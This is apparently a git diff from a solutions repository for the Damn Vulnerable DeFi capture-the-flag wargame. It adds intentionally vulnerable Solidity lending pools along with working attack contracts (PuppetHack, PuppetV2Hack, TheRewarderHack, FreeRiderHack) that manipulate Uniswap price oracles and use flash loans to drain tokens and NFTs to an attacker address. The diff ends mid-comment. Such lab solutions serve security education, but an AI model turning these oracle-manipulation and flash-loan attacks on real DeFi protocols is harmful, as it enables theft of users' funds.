diff --git a/README.md b/README.md index 368acde..8f13cbc 100644 --- a/README.md +++ b/README.md @@ -35,20 +35,20 @@ forge script foundry/script/Deploy.s.sol --fork-url http://localhost:8545 --broa ## [Damn Vulnerable DeFi](https://www.damnvulnerabledefi.xyz/) -[Damn Vulnerable DeFi](https://www.damnvulnerabledefi.xyz/) is the wargame to learn offensive security of DeFi smart contracts in Ethereum. Featuring flash loans, price oracles, governance, NFTs, DEXs, lending pools, smart contract wallets, timelocks, and more! +[Damn Vulnerable DeFi](https://www.damnvulnerabledefi.xyz/) is the wargame to learn offensive security of DeFi smart contracts in Ethereum. Featuring flash loans, price oracles, governance, NFTs, DEXs, lending pools, smart contract wallets, timelocks, and more. I also do videos on CTF on [BILIBILI](https://www.bilibili.com/list/3493272831920239?sid=3695249&desc=0&oid=492260627&bvid=BV1wN411t7Ss) and [YouTube](https://www.youtube.com/watch?v=GJwiet8NGS4&list=PLYYL7LUg7BXTTOHhLmh4zjOwdSjhnKtVE&index=1), so feel free to ***SUBSCRIBE*** OR ***一键三连***. | Level | Docs | Video | Note | | -------- | --- | ------ | ---- | -| ✅ [1.Unstoppable]() | ... | ... | ... | -| [2.Naive receiver]() | ... | ... | ... | -| [3.Truster]() | ... | ... | ... | -| [4.Side Entrance]() | ... | ... | ... | -| [5.The Rewarder]() | ... | ... | ... | -| [6.Selfie]() | ... | ... | ... | -| [7.Compromised]() | ... | ... | ... | -| [8.Puppet]() | ... | ... | ... | -| [9.Puppet V2]() | ... | ... | ... | -| [10.Free Rider]() | ... | ... | ... | +| ✅ [1.Unstoppable](https://www.damnvulnerabledefi.xyz/challenges/unstoppable/) | ... | [BILIBILI](https://www.bilibili.com/list/3493272831920239?sid=3695249&desc=0&oid=492260627&bvid=BV1wN411t7Ss)、[YouTube](https://www.youtube.com/watch?v=DcH2fm30i_o&list=PLYYL7LUg7BXTTOHhLmh4zjOwdSjhnKtVE&index=2) | ... | +| [2.Naive receiver](https://www.damnvulnerabledefi.xyz/challenges/naive-receiver/) | ... | [BILIBILI](https://www.bilibili.com/list/3493272831920239?sid=3695249&desc=0&bvid=BV1nN411t7FM&oid=492285883) | ... | +| [3.Truster](https://www.damnvulnerabledefi.xyz/challenges/truster/) | ... | [BILIBILI](https://www.bilibili.com/list/3493272831920239?sid=3695249&desc=0&bvid=BV1iQ4y1s7Vy&oid=704823186) | ... | +| [4.Side Entrance](https://www.damnvulnerabledefi.xyz/challenges/side-entrance/)| ... | [BILIBILI](https://www.bilibili.com/list/3493272831920239?sid=3695249&desc=0&bvid=BV11w411678R&oid=322344180) | ... | +| [5.The Rewarder](https://www.damnvulnerabledefi.xyz/challenges/the-rewarder/) | ... | [BILIBILI](https://www.bilibili.com/list/3493272831920239?sid=3695249&desc=0&bvid=BV1QN411s7bj&oid=492357979) | ... | +| [6.Selfie](https://www.damnvulnerabledefi.xyz/challenges/selfie/) | ... | [BILIBILI](https://www.bilibili.com/list/3493272831920239?sid=3695249&desc=0&bvid=BV1cN4y1C7Ly&oid=874779438) | ... | +| [7.Compromised](https://www.damnvulnerabledefi.xyz/challenges/compromised/) | ... | [BILIBILI](https://www.bilibili.com/list/3493272831920239?sid=3695249&desc=0&bvid=BV1vu4y1p7nH&oid=917337886) | ... | +| [8.Puppet](https://www.damnvulnerabledefi.xyz/challenges/puppet/) | ... | [BILIBILI](https://www.bilibili.com/list/3493272831920239?sid=3695249&desc=0&bvid=BV1XC4y1G7tj&oid=747301601) | ... | +| [9.Puppet V2](https://www.damnvulnerabledefi.xyz/challenges/puppet-v2/) | ... |[BILIBILI](https://www.bilibili.com/list/3493272831920239?sid=3695249&desc=0&bvid=BV1784y1d7X3&oid=619798854)| ... | +| [10.Free Rider](https://www.damnvulnerabledefi.xyz/challenges/free-rider/) | ... | [BILIBILI]() | ... | | [11.Backdoor]() | ... | ... | ... | | [12.Climber]() | ... | ... | ... | | [13.Wallet Mining]() | ... | ... | ... | diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableTokenSnapshot.sol b/contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableTokenSnapshot.sol index 493b5c6..fdc74bb 100644 --- a/contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableTokenSnapshot.sol +++ b/contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableTokenSnapshot.sol @@ -1,5 +1,4 @@ // SPDX-License-Identifier: MIT - pragma solidity ^0.8.0; import { ERC20Snapshot, ERC20 } from "@openzeppelin/contracts-v4.7.1/token/ERC20/extensions/ERC20Snapshot.sol"; diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/00.Base/WETH9.sol b/contracts/CTF/Damn-Vulnerable-DeFi/00.Base/WETH9.sol new file mode 100644 index 0000000..41846da --- /dev/null +++ b/contracts/CTF/Damn-Vulnerable-DeFi/00.Base/WETH9.sol @@ -0,0 +1,22 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +// Wrapped Ether https://etherscan.io/token/0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2#code +interface IWETH { + function name() external view returns (string memory); + function approve(address guy, uint256 amount) external returns (bool); + function totalSupply() external view returns (uint256); + function transferFrom(address src, address dst, uint256 amount) external returns (bool); + function withdraw(uint256 amount) external; + function decimals() external view returns (uint8); + function balanceOf(address) external view returns (uint256); + function symbol() external view returns (string memory); + function transfer(address dst, uint256 amount) external returns (bool); + function deposit() external payable; + function allowance(address, address) external view returns (uint256); + + event Approval(address indexed src, address indexed guy, uint256 amount); + event Transfer(address indexed src, address indexed dst, uint256 amount); + event Deposit(address indexed dst, uint256 amount); + event Withdrawal(address indexed src, uint256 amount); +} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance.sol b/contracts/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance.sol index 5fc31b1..c3d893f 100644 --- a/contracts/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance.sol +++ b/contracts/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance.sol @@ -62,6 +62,10 @@ contract SideEntranceAttack { function execute() external payable { require(msg.sender == address(pool), "msg.sender"); + /* + 1. poll ether balance + msg.value + 2. poll token balance + msg.value + */ pool.deposit{ value: msg.value }(); } diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder.sol b/contracts/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder.sol index 2ec2fec..bfa4780 100644 --- a/contracts/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder.sol +++ b/contracts/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder.sol @@ -4,7 +4,6 @@ pragma solidity ^0.8.0; import { OwnableRoles } from "@solady/auth/OwnableRoles.sol"; import { FixedPointMathLib } from "@solady/utils/FixedPointMathLib.sol"; import { SafeTransferLib } from "@solady/utils/SafeTransferLib.sol"; - import { ERC20 } from "@openzeppelin/contracts-v4.7.1/token/ERC20/ERC20.sol"; import { Address } from "@openzeppelin/contracts-v4.7.1/utils/Address.sol"; import { ERC20Snapshot } from "@openzeppelin/contracts-v4.7.1/token/ERC20/extensions/ERC20Snapshot.sol"; @@ -158,6 +157,9 @@ contract TheRewarderPool { if (amountDeposited > 0 && totalDeposits > 0) { // @audit-issue doesn't take into consideration deposited time + /// @dev Returns `floor(x * y / d)`. + // (amountDeposited /totalDeposits) * REWARDS + rewards = amountDeposited.mulDiv(REWARDS, totalDeposits); if (rewards > 0 && !_hasRetrievedReward(msg.sender)) { // @audit-issue no CEI @@ -190,30 +192,30 @@ contract TheRewarderPool { contract TheRewarderHack { FlashLoanerPool private flashLoanPool; TheRewarderPool private pool; - DamnValuableToken private dvt; + DamnValuableToken private liquidityToken; RewardToken private reward; address internal player; - constructor(address _flashloan, address _pool, address _dvt, address _reward) { + constructor(address _flashloan, address _pool, address _liquidityToken, address _reward) { flashLoanPool = FlashLoanerPool(_flashloan); pool = TheRewarderPool(_pool); - dvt = DamnValuableToken(_dvt); + liquidityToken = DamnValuableToken(_liquidityToken); reward = RewardToken(_reward); player = msg.sender; } function attack() external { - flashLoanPool.flashLoan(dvt.balanceOf(address(flashLoanPool))); + flashLoanPool.flashLoan(liquidityToken.balanceOf(address(flashLoanPool))); } function receiveFlashLoan(uint256 amount) external { - dvt.approve(address(pool), amount); + liquidityToken.approve(address(pool), amount); // deposit liquidity token get reward token pool.deposit(amount); // withdraw liquidity token pool.withdraw(amount); // repay to flashloan - dvt.transfer(address(flashLoanPool), amount); + liquidityToken.transfer(address(flashLoanPool), amount); uint256 rewardBalance = reward.balanceOf(address(this)); reward.transfer(player, rewardBalance); } diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/07.Compromised.sol b/contracts/CTF/Damn-Vulnerable-DeFi/07.Compromised.sol index 4b6a35b..6f13c64 100644 --- a/contracts/CTF/Damn-Vulnerable-DeFi/07.Compromised.sol +++ b/contracts/CTF/Damn-Vulnerable-DeFi/07.Compromised.sol @@ -1,10 +1,10 @@ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; -import "@solady/utils/LibSort.sol"; -import "@openzeppelin/contracts-v4.7.1/utils/Address.sol"; -import "@openzeppelin/contracts-v4.7.1/security/ReentrancyGuard.sol"; -import "@openzeppelin/contracts-v4.7.1/access/AccessControlEnumerable.sol"; +import { LibSort } from "@solady/utils/LibSort.sol"; +import { Address } from "@openzeppelin/contracts-v4.7.1/utils/Address.sol"; +import { ReentrancyGuard } from "@openzeppelin/contracts-v4.7.1/security/ReentrancyGuard.sol"; +import { AccessControlEnumerable } from "@openzeppelin/contracts-v4.7.1/access/AccessControlEnumerable.sol"; import { DamnValuableNFT } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableNFT.sol"; contract Exchange is ReentrancyGuard { diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/08.Puppet.sol b/contracts/CTF/Damn-Vulnerable-DeFi/08.Puppet.sol index 15a8c0d..ad2d77b 100644 --- a/contracts/CTF/Damn-Vulnerable-DeFi/08.Puppet.sol +++ b/contracts/CTF/Damn-Vulnerable-DeFi/08.Puppet.sol @@ -1,2 +1,312 @@ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; + +import { console2 } from "@dev/forge-std/src/console2.sol"; +import { Address } from "@openzeppelin/contracts-v4.7.1/utils/Address.sol"; +import { ReentrancyGuard } from "@openzeppelin/contracts-v4.7.1/security/ReentrancyGuard.sol"; +import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol"; + +// https://etherscan.io/address/0xc0a47dFe034B400B47bDaD5FecDa2621de6c4d95#code +// https://docs.uniswap.org/contracts/v1/guides/connect-to-uniswap +// https://hackmd.io/@HaydenAdams/HJ9jLsfTz +// https://github.com/Uniswap/v1-contracts/blob/master/contracts/uniswap_exchange.vy +interface IUniswapV1Exchange { + // Address of ERC20 token sold on this exchange + function tokenAddress() external view returns (address token); + // Address of Uniswap Factory + function factoryAddress() external view returns (address factory); + // Provide Liquidity + function addLiquidity( + uint256 min_liquidity, + uint256 max_tokens, + uint256 deadline + ) + external + payable + returns (uint256); + function removeLiquidity( + uint256 amount, + uint256 min_eth, + uint256 min_tokens, + uint256 deadline + ) + external + returns (uint256, uint256); + // Get Prices + function getEthToTokenInputPrice(uint256 eth_sold) external view returns (uint256 tokens_bought); + function getEthToTokenOutputPrice(uint256 tokens_bought) external view returns (uint256 eth_sold); + function getTokenToEthInputPrice(uint256 tokens_sold) external view returns (uint256 eth_bought); + function getTokenToEthOutputPrice(uint256 eth_bought) external view returns (uint256 tokens_sold); + // Trade ETH to ERC20 + function ethToTokenSwapInput( + uint256 min_tokens, + uint256 deadline + ) + external + payable + returns (uint256 tokens_bought); + function ethToTokenTransferInput( + uint256 min_tokens, + uint256 deadline, + address recipient + ) + external + payable + returns (uint256 tokens_bought); + function ethToTokenSwapOutput( + uint256 tokens_bought, + uint256 deadline + ) + external + payable + returns (uint256 eth_sold); + function ethToTokenTransferOutput( + uint256 tokens_bought, + uint256 deadline, + address recipient + ) + external + payable + returns (uint256 eth_sold); + // Trade ERC20 to ETH + function tokenToEthSwapInput( + uint256 tokens_sold, + uint256 min_eth, + uint256 deadline + ) + external + returns (uint256 eth_bought); + function tokenToEthTransferInput( + uint256 tokens_sold, + uint256 min_eth, + uint256 deadline, + address recipient + ) + external + returns (uint256 eth_bought); + function tokenToEthSwapOutput( + uint256 eth_bought, + uint256 max_tokens, + uint256 deadline + ) + external + returns (uint256 tokens_sold); + function tokenToEthTransferOutput( + uint256 eth_bought, + uint256 max_tokens, + uint256 deadline, + address recipient + ) + external + returns (uint256 tokens_sold); + // Trade ERC20 to ERC20 + function tokenToTokenSwapInput( + uint256 tokens_sold, + uint256 min_tokens_bought, + uint256 min_eth_bought, + uint256 deadline, + address token_addr + ) + external + returns (uint256 tokens_bought); + function tokenToTokenTransferInput( + uint256 tokens_sold, + uint256 min_tokens_bought, + uint256 min_eth_bought, + uint256 deadline, + address recipient, + address token_addr + ) + external + returns (uint256 tokens_bought); + function tokenToTokenSwapOutput( + uint256 tokens_bought, + uint256 max_tokens_sold, + uint256 max_eth_sold, + uint256 deadline, + address token_addr + ) + external + returns (uint256 tokens_sold); + function tokenToTokenTransferOutput( + uint256 tokens_bought, + uint256 max_tokens_sold, + uint256 max_eth_sold, + uint256 deadline, + address recipient, + address token_addr + ) + external + returns (uint256 tokens_sold); + // Trade ERC20 to Custom Pool + function tokenToExchangeSwapInput( + uint256 tokens_sold, + uint256 min_tokens_bought, + uint256 min_eth_bought, + uint256 deadline, + address exchange_addr + ) + external + returns (uint256 tokens_bought); + function tokenToExchangeTransferInput( + uint256 tokens_sold, + uint256 min_tokens_bought, + uint256 min_eth_bought, + uint256 deadline, + address recipient, + address exchange_addr + ) + external + returns (uint256 tokens_bought); + function tokenToExchangeSwapOutput( + uint256 tokens_bought, + uint256 max_tokens_sold, + uint256 max_eth_sold, + uint256 deadline, + address exchange_addr + ) + external + returns (uint256 tokens_sold); + function tokenToExchangeTransferOutput( + uint256 tokens_bought, + uint256 max_tokens_sold, + uint256 max_eth_sold, + uint256 deadline, + address recipient, + address exchange_addr + ) + external + returns (uint256 tokens_sold); + // ERC20 comaptibility for liquidity tokens + + // bytes32 public name; + // bytes32 public symbol; + // uint256 public decimals; + + function transfer(address _to, uint256 _value) external returns (bool); + function transferFrom(address _from, address _to, uint256 value) external returns (bool); + function approve(address _spender, uint256 _value) external returns (bool); + function allowance(address _owner, address _spender) external view returns (uint256); + function balanceOf(address _owner) external view returns (uint256); + function totalSupply() external view returns (uint256); + // Never use + function setup(address token_addr) external; +} + +interface IUniswapV1Factory { + // Public Variables + // address public exchangeTemplate; + // uint256 public tokenCount; + + // Create Exchange + function createExchange(address token) external returns (address exchange); + // Get Exchange and Token Info + function getExchange(address token) external view returns (address exchange); + function getToken(address exchange) external view returns (address token); + function getTokenWithId(uint256 tokenId) external view returns (address token); + // Never use + function initializeFactory(address template) external; +} + +/** + * @title PuppetPool + * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) + */ + +contract PuppetPool is ReentrancyGuard { + using Address for address payable; + + uint256 public constant DEPOSIT_FACTOR = 2; + + address public immutable uniswapExchange; + DamnValuableToken public immutable token; + + mapping(address => uint256) public deposits; + + error NotEnoughCollateral(); + error TransferFailed(); + + event Borrowed(address indexed account, address recipient, uint256 depositRequired, uint256 borrowAmount); + + constructor(address tokenAddress, address uniswapPairAddress) { + token = DamnValuableToken(tokenAddress); + uniswapExchange = uniswapPairAddress; + } + + // Allows borrowing tokens by first depositing two times their value in ETH + function borrow(uint256 amount, address recipient) external payable nonReentrant { + uint256 depositRequired = calculateDepositRequired(amount); + + if (msg.value < depositRequired) { + revert NotEnoughCollateral(); + } + + if (msg.value > depositRequired) { + unchecked { + payable(msg.sender).sendValue(msg.value - depositRequired); + } + } + + unchecked { + deposits[msg.sender] += depositRequired; + } + + // Fails if the pool doesn't have enough tokens in liquidity + if (!token.transfer(recipient, amount)) { + revert TransferFailed(); + } + + emit Borrowed(msg.sender, recipient, depositRequired, amount); + } + + /* + depositRequired = + amount * (uniswapExchange ether balance / uniswapExchange token balance) + * DEPOSIT_FACTOR + */ + + function calculateDepositRequired(uint256 amount) public view returns (uint256) { + return amount * _computeOraclePrice() * DEPOSIT_FACTOR / 10 ** 18; + } + + function _computeOraclePrice() private view returns (uint256) { + // calculates the price of the token in wei according to Uniswap pair + return uniswapExchange.balance * (10 ** 18) / token.balanceOf(uniswapExchange); + } +} + +contract PuppetHack { + uint256 constant SELL_DVT_AMOUNT = 1000 ether; + uint256 constant DEPOSIT_FACTOR = 2; + uint256 constant BORROW_DVT_AMOUNT = 100_000 ether; + + IUniswapV1Exchange immutable uniswapExchange; + DamnValuableToken immutable token; + PuppetPool immutable pool; + address immutable player; + + constructor(address _token, address _pair, address _pool, address _player) { + token = DamnValuableToken(_token); + uniswapExchange = IUniswapV1Exchange(_pair); + pool = PuppetPool(_pool); + player = _player; + } + + function attack() external payable { + // Dump DVT to the Uniswap Pool + token.approve(address(uniswapExchange), type(uint256).max); + // https://github.com/Uniswap/v1-contracts/blob/master/contracts/uniswap_exchange.vy#L232 + uniswapExchange.tokenToEthTransferInput(SELL_DVT_AMOUNT, 9, block.timestamp, address(this)); + + // Calculate required collateral + uint256 price = address(uniswapExchange).balance * (10 ** 18) / token.balanceOf(address(uniswapExchange)); + uint256 depositRequired = BORROW_DVT_AMOUNT * price * DEPOSIT_FACTOR / 10 ** 18; + + // Borrow and steal the DVT + pool.borrow{ value: depositRequired }(BORROW_DVT_AMOUNT, player); + // send all token to player + token.transfer(player, token.balanceOf(address(this))); + } + + receive() external payable { } +} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/09.Puppet-V2.sol b/contracts/CTF/Damn-Vulnerable-DeFi/09.Puppet-V2.sol index 15a8c0d..81fc7a4 100644 --- a/contracts/CTF/Damn-Vulnerable-DeFi/09.Puppet-V2.sol +++ b/contracts/CTF/Damn-Vulnerable-DeFi/09.Puppet-V2.sol @@ -1,2 +1,273 @@ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; + +import { console2 } from "@dev/forge-std/src/console2.sol"; +import { IUniswapV2Pair } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; +import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol"; +import { IWETH } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/WETH9.sol"; +import { IUniswapV2Router02 } from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; + +library SafeMath { + function add(uint256 x, uint256 y) internal pure returns (uint256 z) { + require((z = x + y) >= x, "ds-math-add-overflow"); + } + + function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { + require((z = x - y) <= x, "ds-math-sub-underflow"); + } + + function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { + require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow"); + } +} + +library UniswapV2Library { + using SafeMath for uint256; + + // returns sorted token addresses, used to handle return values from pairs sorted in this order + function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { + require(tokenA != tokenB, "UniswapV2Library: IDENTICAL_ADDRESSES"); + (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); + require(token0 != address(0), "UniswapV2Library: ZERO_ADDRESS"); + } + + // calculates the CREATE2 address for a pair without making any external calls + function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { + (address token0, address token1) = sortTokens(tokenA, tokenB); + pair = address( + uint160( + uint256( + keccak256( + abi.encodePacked( + hex"ff", + factory, + keccak256(abi.encodePacked(token0, token1)), + hex"96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f" // init code hash + ) + ) + ) + ) + ); + } + + // fetches and sorts the reserves for a pair + function getReserves( + address factory, + address tokenA, + address tokenB + ) + internal + view + returns (uint256 reserveA, uint256 reserveB) + { + (address token0,) = sortTokens(tokenA, tokenB); + (uint256 reserve0, uint256 reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves(); + (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); + } + + // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset + function quote(uint256 amountA, uint256 reserveA, uint256 reserveB) internal pure returns (uint256 amountB) { + require(amountA > 0, "UniswapV2Library: INSUFFICIENT_AMOUNT"); + require(reserveA > 0 && reserveB > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY"); + amountB = amountA.mul(reserveB) / reserveA; + } + + // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset + function getAmountOut( + uint256 amountIn, + uint256 reserveIn, + uint256 reserveOut + ) + internal + pure + returns (uint256 amountOut) + { + require(amountIn > 0, "UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT"); + require(reserveIn > 0 && reserveOut > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY"); + uint256 amountInWithFee = amountIn.mul(997); + uint256 numerator = amountInWithFee.mul(reserveOut); + uint256 denominator = reserveIn.mul(1000).add(amountInWithFee); + amountOut = numerator / denominator; + } + + // given an output amount of an asset and pair reserves, returns a required input amount of the other asset + function getAmountIn( + uint256 amountOut, + uint256 reserveIn, + uint256 reserveOut + ) + internal + pure + returns (uint256 amountIn) + { + require(amountOut > 0, "UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT"); + require(reserveIn > 0 && reserveOut > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY"); + uint256 numerator = reserveIn.mul(amountOut).mul(1000); + uint256 denominator = reserveOut.sub(amountOut).mul(997); + amountIn = (numerator / denominator).add(1); + } + + // performs chained getAmountOut calculations on any number of pairs + function getAmountsOut( + address factory, + uint256 amountIn, + address[] memory path + ) + internal + view + returns (uint256[] memory amounts) + { + require(path.length >= 2, "UniswapV2Library: INVALID_PATH"); + amounts = new uint[](path.length); + amounts[0] = amountIn; + for (uint256 i; i < path.length - 1; i++) { + (uint256 reserveIn, uint256 reserveOut) = getReserves(factory, path[i], path[i + 1]); + amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); + } + } + + // performs chained getAmountIn calculations on any number of pairs + function getAmountsIn( + address factory, + uint256 amountOut, + address[] memory path + ) + internal + view + returns (uint256[] memory amounts) + { + require(path.length >= 2, "UniswapV2Library: INVALID_PATH"); + amounts = new uint[](path.length); + amounts[amounts.length - 1] = amountOut; + for (uint256 i = path.length - 1; i > 0; i--) { + (uint256 reserveIn, uint256 reserveOut) = getReserves(factory, path[i - 1], path[i]); + amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); + } + } +} + +interface IERC20 { + function transfer(address to, uint256 amount) external returns (bool); + function transferFrom(address from, address to, uint256 amount) external returns (bool); + function balanceOf(address account) external returns (uint256); +} + +/* + https://github.com/Uniswap/v2-core + https://github.com/Uniswap/v2-periphery + https://docs.uniswap.org/contracts/v2/overview +*/ + +/** + * @title PuppetV2Pool + * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) + */ +contract PuppetV2Pool { + using SafeMath for uint256; + + uint256 private _tmp; + address private _uniswapPair; + address private _uniswapFactory; + IERC20 private _token; + IERC20 private _weth; + + mapping(address => uint256) public deposits; + + event Borrowed(address indexed borrower, uint256 depositRequired, uint256 borrowAmount, uint256 timestamp); + + constructor(address wethAddress, address tokenAddress, address uniswapPairAddress, address uniswapFactoryAddress) { + _weth = IERC20(wethAddress); + _token = IERC20(tokenAddress); + _uniswapPair = uniswapPairAddress; + _uniswapFactory = uniswapFactoryAddress; + _tmp = block.timestamp; + } + + /** + * @notice Allows borrowing tokens by first depositing three times their value in WETH + * Sender must have approved enough WETH in advance. + * Calculations assume that WETH and borrowed token have same amount of decimals. + */ + function borrow(uint256 borrowAmount) external { + // Calculate how much WETH the user must deposit + uint256 amount = calculateDepositOfWETHRequired(borrowAmount); + + // Take the WETH + _weth.transferFrom(msg.sender, address(this), amount); + + // internal accounting + deposits[msg.sender] += amount; + + require(_token.transfer(msg.sender, borrowAmount), "Transfer failed"); + + emit Borrowed(msg.sender, amount, borrowAmount, block.timestamp); + } + + function calculateDepositOfWETHRequired(uint256 tokenAmount) public view returns (uint256) { + uint256 depositFactor = 3; + return _getOracleQuote(tokenAmount).mul(depositFactor) / (1 ether); + } + + // Fetch the price from Uniswap v2 using the official libraries + function _getOracleQuote(uint256 amount) private view returns (uint256) { + (uint256 reservesWETH, uint256 reservesToken) = + UniswapV2Library.getReserves(_uniswapFactory, address(_weth), address(_token)); + return UniswapV2Library.quote(amount.mul(10 ** 18), reservesToken, reservesWETH); + } +} + +contract PuppetV2Hack { + uint256 private constant DUMP_DVT_AMOUNT = 10_000 ether; + uint256 private constant BORROW_DVT_AMOUNT = 1_000_000 ether; + + address private immutable player; + PuppetV2Pool private immutable pool; + IUniswapV2Router02 private immutable router; + IUniswapV2Pair private immutable pair; + DamnValuableToken private immutable token; + IWETH private immutable weth; + + constructor(address _pool, address _router, address _token, address _pair) { + player = msg.sender; + pool = PuppetV2Pool(_pool); + router = IUniswapV2Router02(_router); + token = DamnValuableToken(_token); + pair = IUniswapV2Pair(_pair); + weth = IWETH(router.WETH()); + } + + function attack() external payable { + require(msg.sender == player); + + address[] memory path = new address[](2); + path[0] = address(token); + path[1] = address(weth); + + // Swap 10k DVT tokens for WETH using Uniswap + token.approve(address(router), DUMP_DVT_AMOUNT); + router.swapExactTokensForTokens(DUMP_DVT_AMOUNT, 9 ether, path, address(this), block.timestamp); + + // Convert ETH to WETH + weth.deposit{ value: address(this).balance }(); + + // Calculate how many WETH we need to approve to borrow all DVT tokens + uint256 requiredWeth = pool.calculateDepositOfWETHRequired(BORROW_DVT_AMOUNT); + console2.log("Uniswap ERC20 Balance: ", token.balanceOf(address(pair)), token.balanceOf(address(pair)) / 1e18); + console2.log("Uniswap WETH Balance: ", weth.balanceOf(address(pair)), weth.balanceOf(address(pair)) / 1e18); + console2.log("Hacker WETH Balance: ", weth.balanceOf(address(this)), weth.balanceOf(address(this)) / 1e18); + console2.log("Hacker ERC20 Balance: ", token.balanceOf(address(this)), token.balanceOf(address(this)) / 1e18); + console2.log("Pool WETH Balance: ", weth.balanceOf(address(pool)), weth.balanceOf(address(pool)) / 1e18); + console2.log("Pool ERC20 Balance: ", token.balanceOf(address(pool)), token.balanceOf(address(pool)) / 1e18); + console2.log("Pool Required WETH: ", requiredWeth, requiredWeth / 1e18); + + // Approve the pool to spend our WETH and ask to borrow all DVT + weth.approve(address(pool), weth.balanceOf(address(this))); + pool.borrow(BORROW_DVT_AMOUNT); + + // Send all DVT tokens and WETH to the player (EOA account) + token.transfer(player, token.balanceOf(address(this))); + weth.transfer(player, weth.balanceOf(address(this))); + } + + receive() external payable { } +} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.sol b/contracts/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.sol index dd1891a..92de145 100644 --- a/contracts/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.sol +++ b/contracts/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.sol @@ -1,6 +1,8 @@ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; +import { console2 } from "@dev/forge-std/src/console2.sol"; +import { IWETH } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/WETH9.sol"; import { IERC721 } from "@openzeppelin/contracts-v4.7.1/token/ERC721/IERC721.sol"; import { Address } from "@openzeppelin/contracts-v4.7.1/utils/Address.sol"; import { ReentrancyGuard } from "@openzeppelin/contracts-v4.7.1/security/ReentrancyGuard.sol"; @@ -188,26 +190,6 @@ contract FreeRiderRecovery is ReentrancyGuard, IERC721Receiver { } } -// Wrapped Ether https://etherscan.io/token/0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2#code -interface IWETH { - function name() external view returns (string memory); - function approve(address guy, uint256 amount) external returns (bool); - function totalSupply() external view returns (uint256); - function transferFrom(address src, address dst, uint256 amount) external returns (bool); - function withdraw(uint256 amount) external; - function decimals() external view returns (uint8); - function balanceOf(address) external view returns (uint256); - function symbol() external view returns (string memory); - function transfer(address dst, uint256 amount) external returns (bool); - function deposit() external payable; - function allowance(address, address) external view returns (uint256); - - event Approval(address indexed src, address indexed guy, uint256 amount); - event Transfer(address indexed src, address indexed dst, uint256 amount); - event Deposit(address indexed dst, uint256 amount); - event Withdrawal(address indexed src, uint256 amount); -} - contract FreeRiderHack is IUniswapV2Callee { IUniswapV2Pair private immutable pair; FreeRiderNFTMarketplace private immutable marketplace; @@ -231,32 +213,44 @@ contract FreeRiderHack is IUniswapV2Callee { } function attack() external payable { + console2.log("Beofre Hacker ", address(this).balance, address(this).balance / 1e17); // 1. Request a flashSwap of 15 WETH from Uniswap Pair pair.swap(0, NFT_PRICE, address(this), abi.encode(NFT_PRICE)); + console2.log("After Hacker ", address(this).balance, address(this).balance / 1e17); } + /* + 1. player 0.1 ether => unsiwap 0.003 free => 33 ether + 2. player 15 ether price => 6 NFT => 90 ether + 3. player sell 6 NFT to receive => 45 ether + 4. player get 90 + 45 - free + */ function uniswapV2Call(address, uint256, uint256, bytes calldata) external { // 1.Access Control require(msg.sender == address(pair), "Only Uniswap Pair Can call"); // 2. Unwrap WETH to native ETH weth.withdraw(NFT_PRICE); + console2.log("Hacker swap withdraw", address(this).balance, address(this).balance / 1e17); // 3. Buy 6 NFTS for only 15 ETH total marketplace.buyMany{ value: NFT_PRICE }(tokens); - - // // 4. Pay back 15WETH + 0.3% to the pair contract + console2.log("Hacker buyMany", address(this).balance, address(this).balance / 1e17); + // 4. Pay back 15WETH 